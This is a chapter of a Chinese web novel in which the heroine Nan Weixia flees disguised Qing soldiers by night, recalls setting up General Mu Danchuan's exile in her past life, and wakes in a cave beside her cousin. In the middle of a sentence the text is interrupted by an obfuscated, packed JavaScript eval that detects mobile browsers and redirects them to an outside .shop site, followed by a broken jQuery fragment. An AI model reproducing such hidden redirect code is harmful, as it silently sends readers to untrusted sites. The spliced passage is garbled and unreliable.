枝影婆娑,窸窣间飘落几片嫩芽,裹挟着夜露,悄无声息地飘落在地。
“没事吧?”叶裳足尖点地,稳稳落在地上,见她无恙这才松开手。
眼前女子通身黑衣与周遭融为一体,唯独那双露出来的眼睛,皎明如月。
方才他们三人决定自树顶而过,她还没想好如何带上这位大小姐,一抬头人已经上树,一路上她的速度并未刻意放慢,大小姐竟也勉强跟得上,只在下来时歪了重心,险些摔下。
“没事。”南维夏惭愧,前世她最擅长的逃跑功夫许久不用,一分神险些马失前蹄,要真从树上摔下来,良侧妃听到都要笑话她。
朔风如刀,南维夏闭眼缓了缓发酸的眼睛,道:“分头行动,你们去找草药,我去看马。”
马儿状态如何,是否如她所想已经解了毒?南维夏要亲眼去看。
柳藤闻言答好,转身就要走,谁知,叶裳厉声拒绝:“不,我跟着您。”
南维夏睁开眼,静静看着她,柳藤也一愣,脚步缓了下来。
叶裳正色道:“我的职责只有一个,就是护您周全,恕我不能从命。”
南维夏果断闭上尝试说服的嘴,默默朝柳藤点头,后者立时像风一样消失在眼前。
-
马圈旁的木屋亮着光,二人摸黑从窗外探进,就见守卫坐在烛火边,仰头唇角挂着一串水流,隔着窗都能听见呼噜声。
南维夏眼神示意叶裳留在此处放哨,自个儿猫着腰静悄悄地翻进马圈,原先还担忧惊起马群,眼下看着躺了大半的马儿,心中叹息。
安抚地顺了顺马儿鬃毛,借着月光,南维夏看清马儿毛发之下被蚊虫咬噬溃烂的皮肤,疼痛瘙痒让马儿持续不安地来回踱步。
南维夏忽然意识到,为了筹谋,为了最大收益,她替这些马儿解了毒,又亲自为它们下了另一种毒,虽不会威胁性命,可为了不露馅,选的这毒同样会引来蚊虫,同样会伤害这些马儿。
她忽然明白了外祖父所思所想。
也忽然臊得慌。
这值得吗?
月光洒满马圈,南维夏站在中央,抬头望着明月,凉意掠过眉梢。
重活一世,她想她爱的人活得更好,想让害她的人自食恶果,可是如果这是连累更多无辜的生灵换来的,那这一切还值得吗?
她不知道。
就像她不知道该怎么怎么面对慕澹川。
这一世,他还没来得及害她,遑论如今救她帮她,可是这不代表过去的一切就会烟消云散。
“走!”茫然间,手臂被重力拉扯,身子一偏,人已经被带离几丈远。
远处火星点点急速接近,已经能听见叫喊声,是巡营的人。
南维夏一边跑,一边回头看,隐约觉得哪里不对。
“别看了,快走!”叶裳索性掐住她腋窝,拎着她跑。
“……不,不对,他们不是巡营的人!”南维夏终于反应过来,一把拉住叶裳,惊声道,“他们是青国人!”
虽然扮作大邺人,可无论是身型还是拿刀跑的姿势,仍旧逃不脱青国人的模样,他们天生高大强壮,再如何伪装,那分野性依旧一眼可辨。
托前世宋昱琛的福,她对青国的研究颇深,景王府所有有关青国的书籍她都翻烂了,只为下回再遇青国人时不露怯,此刻倒是派上用处。
叶裳脚步霎时一顿,忍不住回头去看,越看脚步越缓,最终停了下来。
“分头行动,你去找慕澹川。”南维夏说得极快,看着越来越多的火光,心中一沉。
“不。”叶裳厉声道,“一起走。”
“叶裳,这是命令。”南维夏道,“一起走谁也走不了。”
心知南维夏说的是眼下最好的方法,可叶裳却如脚底定钉,怎么也迈不开步。
南维夏见她不动,又看了眼越来越近的火光,催促道:“快去啊,我还等着你们来救我呢。”
“你要等我。”叶裳终于下定决心,想了想又把随身佩剑取下来递到她手上,“你拿着防身,我很快回来。”
说罢,终于像风似的消失了。
南维夏抬腿就跑,朝着另一个方向。跑了一会儿回头看,火光果然分作两拨,一小拨来追她。
她忽然不合时宜地怒了一下,怎么看不清人影也知道她是小虾米。
其实情况没有叶裳想的那样严峻,南维夏武艺虽然极其不精,可独一项轻功天赋异禀,应对大块头青国人那叫一个绰绰有余。
还有一点,叶裳不知道她对南云军营格外熟悉,往哪个方向跑容易碰上巡营卫兵,哪处有设角楼,都是她一日日值班记下的。
只是,南维夏低头抚了抚肚子,她忘了前几天才受过伤,眼下又跑又跳,本来好了七八分的伤口又疼了起来。
关键是这伤你越想去忽视,它的存在感就越强。
南维夏咬牙坚持了一会儿,实在坚持不下去,速度骤然慢了下来,脑袋正在飞速运转该怎么逃命时,就听到后面青国人大喊:“就是她!她就是老大要的人!”
南维夏立刻脑子卡壳,脚踢脚摔了个狗啃泥,谁知这一摔,竟然一滚滚下山坡,一阵天旋地转后,以撞上石块昏迷告终。
-
秋风现,凉意起。
慕澹川再次送信来催促,南维夏两眼看完后一把火将信纸烧个干净,拢起灰烬扔到后院梨树下,垂眼盯着,双手交叠,手指攥得发白。
过了许久,终于下定决心,深吸一口气,疾步走去叩响一扇门。
等了片刻,门终于被推开,来人长发未束,披着浅色斗篷,似乎刚被她吵醒。
“王爷,臣妾有事要说。”南维夏单刀直入,顾不上寒暄,只因为她怕下一瞬便失去勇气。
宋昱琛低头望她,没有怪罪,胳膊肘将门推得更大,侧身让她进去。
“坐。”宋昱琛点燃烛火,见她还站着,挑了挑眉。
南维夏不安地双手互相揉搓,鼓足了勇气一口气道:“臣妾前几日上山礼佛迷路走到树林里,不小心撞见慕将军和荣王在一起说话,听不清说了什么,但是看上去格外亲近。”
宋昱琛一下站起身,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17892642|212784||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道:“不可能!”
南维夏被吓了一跳,身子猛地一颤,脸色也白了。
宋昱琛却没再看她,只在屋内来回踱步,喃喃道:“不可能,不可能……难怪……”
南维夏松了口气,知晓这出离间计果然奏效。
不到半月,她在府里就听闻慕将军不知如何得罪了皇帝,竟被逐出洛城,发配到连屿关去了。
南维夏一面庆幸,庆幸再不用在府上担惊受怕,时时刻刻提防慕澹川找上门,一面又心虚,因为什么荣王,全都是她胡扯的。
于是慕澹川出洛城时,南维夏鬼使神差地偷偷溜出府,走上了街,看到人群夹道簇拥着的少年。
那人腰悬佩剑,黑衣黑靴,指尖勾着缰绳,斜斜靠坐在黑鬃骏马上,明明孤身一人,连个护卫也没有,却全无落魄之感。
忽然,慕澹川侧首,直直望向人群,看见躲在墙角,戴着帷帽的女子,一阵风拂起面纱,若隐若现映出她的面容。
下一瞬,不知谁带头喊着“将军一路平安”,人群轰的纷纷跪下,再眨眼,那女子已经消失不见。
墙角的另一边,南维夏跌坐在墙边,手掌狼狈地捂住呜咽,一边哭一边颤抖。
回府后,大病一场,南乐瑶便是此时,借照顾长姐的名义,正大光明住进了景王府。
-
头痛欲裂,南维夏睁开眼时,眼前的石头正围着跳舞。
想去扶头,手却抬不动,想起身,腿没知觉。
直愣愣盯着跳舞的石头半晌,她猛地一阵恶心,偏头吐得眼泪狂流,吐到只剩干呕时,石头终于不跳了。
她艰难地把身子挪远些,这才动了动眼珠。
这是个山洞。
她忽然坐起身,没看到熟悉的火堆和男人这才松了口气,随之而来的是全身骨头皮肉的呐喊,僵坐着龇牙咧嘴许久,才缓过劲。
洞口一暗,隐约有人影晃动,紧接着是窸窸窣窣的脚步声,有人来了。
南维夏绷紧全身,手指悄悄覆上藏在袖中的匕首。
“小姐,你醒了。”
南维夏身子霎时松懈下来,这是柳藤的声音。
直到看清随着他一起走进来的男人,来不及思考,扯着嘶哑的嗓音惊呼:“你怎么在这里?”
汗水浸湿他凌乱的发丝,胡茬发青,已有多日不曾打理。
男人俯身靠近,修长的手指带着凉意,深掐南维夏单薄的肩头。
“……南维夏。”
顾不上疼,南维夏仰着头,看见那双总是淡然如茶的温润眸子,此刻荡漾着急切与不安。
“表哥?”南维夏扯着嘴角,努力想笑,可是他的手太有力,掐得她太疼,泪水已经不受控制地涌上来,眼前发花。
重影中,南维夏看到郑嘉念垂首,目光落在她指尖,跟着低头看去,原来是匕首不知何时从衣袖掉了一半出来。
“那天的苹果甜吗?”
南维夏浑身僵住,却不敢看他,只死死盯着匕首,手指微微颤抖。
“我不怪你。”她听见郑嘉念说。